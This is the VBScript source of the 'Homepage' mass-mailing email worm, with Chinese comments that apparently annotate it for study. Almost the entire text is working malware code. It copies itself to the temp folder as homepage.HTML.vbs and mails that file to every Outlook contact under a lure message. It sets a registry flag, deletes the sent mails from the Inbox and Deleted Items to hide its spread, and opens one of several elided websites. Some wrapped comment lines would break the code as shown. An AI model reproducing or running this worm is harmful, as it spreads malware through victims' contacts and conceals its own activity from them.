Function DeCode(Coded)
For I = 1 To Len(Coded)
CurChar= Mid(Coded, I, 1)
If Asc(CurChar) = 15 Then CurChar= Chr(10)
ElseIf Asc(CurChar) = 16 Then CurChar= Chr(13)
ElseIf Asc(CurChar) = 17 Then CurChar= Chr(32)
ElseIf Asc(CurChar) = 18 Then CurChar= Chr(9)
Else CurChar = Chr(Asc(CurChar) - 2)
End If
DeCode = DeCode & CurChar
Next
End Function
-------------------------------------
-------------------------------------
On Error Resume Next
Set WS = CreateObject("WScript.Shell")
'---复制自已(病毒的典型特性之一)
Set FSO= Createobject("scripting.filesystemobject")
Folder=FSO.GetSpecialFolder(2)
Set InF=FSO.OpenTextFile(WScript.ScriptFullname,1)
'--将文件本身的内容读到内存中
Do While InF.AtEndOfStream<>True
ScriptBuffer=ScriptBuffer&InF.ReadLine&vbcrlf
Loop
Set OutF=FSO.OpenTextFile(Folder&"homepage.HTML.vbs",2,true)
OutF.write ScriptBuffer
'--写到同名文件中,复制任务完成
OutF.close
Set FSO=Nothing
'--病毒编写者的编程习惯倒是挺好,懂得关闭不用的资源,难得
'---向 outlook 的地址簿中的每一个地址发去一封携毒邮件
,同时在注册表项 HKCUsoftwareAnmailed 中为自已做的一个标记,
保证在同一台主机上只发一次(传播也是病毒的典型特性)
If WS.regread ("HKCUsoftwareAnmailed") <> "1" then
Mailit()
End If
Set s=CreateObject("Outlook.Application")
Set t=s.GetNameSpace("MAPI")
Set u=t.GetDefaultFolder(6)
'-- u对象就是“收件箱”文件夹,下面的循环将指定的邮件全部删除
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).close
u.Items.Item(i).delete
End If
Next
Set u=t.GetDefaultFolder(3)
'-- u对象就是是“已删除邮件”文件夹,删除了还不够,还要清空,真够狠毒的
For i=1 to u.items.count
If u.Items.Item(i).subject="Homepage" Then
u.Items.Item(i).delete
End If
Next
'---随机打开四个 *** 站点中的一个( *** 站点域名省略,有人说这是病毒
作者在为自已的站点“拉客”)
Randomize
r=Int((4*Rnd)+1)
If r=1 then WS.Run("http://..../shannon/1.htm")
elseif r=2 Then WS.Run("http://..../_XMCM/prinzje/1.htm")
elseif r=3 Then WS.Run("http://..../amateur/sheila/1.htm")
ElseIf r=4 Then WS.Run("http://..../1.htm")
End If
'---向 outlook 的地址簿中的地址发送邮件的函数
Function Mailit()
On Error Resume Next
Set Outlook = CreateObject("Outlook.Application")
'--创建一个 Outlook 对象
If Outlook = "Outlook" Then
Set Mapi=Outlook.GetNameSpace("MAPI")
Set Lists=Mapi.AddressLists
For Each ListIndex In Lists
If ListIndex.AddressEntries.Count <> 0 Then
ContactCount = ListIndex.AddressEntries.Count
For Count= 1 To ContactCount
Set Mail = Outlook.CreateItem(0)
'--创建新邮件
Set Contact = ListIndex.AddressEntries(Count)
'--取地址
Mail.To = Contact.Address
Mail.Subject = "Homepage"
'--设置邮件主题
Mail.Body = vbcrlf&"Hi!"&vbcrlf&vbcrlf&"You've got to see
'--设置邮件内容 this page! It's really cool ;O)"&vbcrlf&vbcrlf
Set Attachment=Mail.Attachments
'--将病毒脚本加为附件
Attachment.Add Folder & "homepage.HTML.vbs"
Mail.DeleteAfterSubmit = True
If Mail.To <> "" Then
Mail.Send
WS.regwrite "HKCUsoftwareAnmailed", "1"
'--在注册表中做标记,以防止再次重发
End If
Next
End If
Next
End if
End Function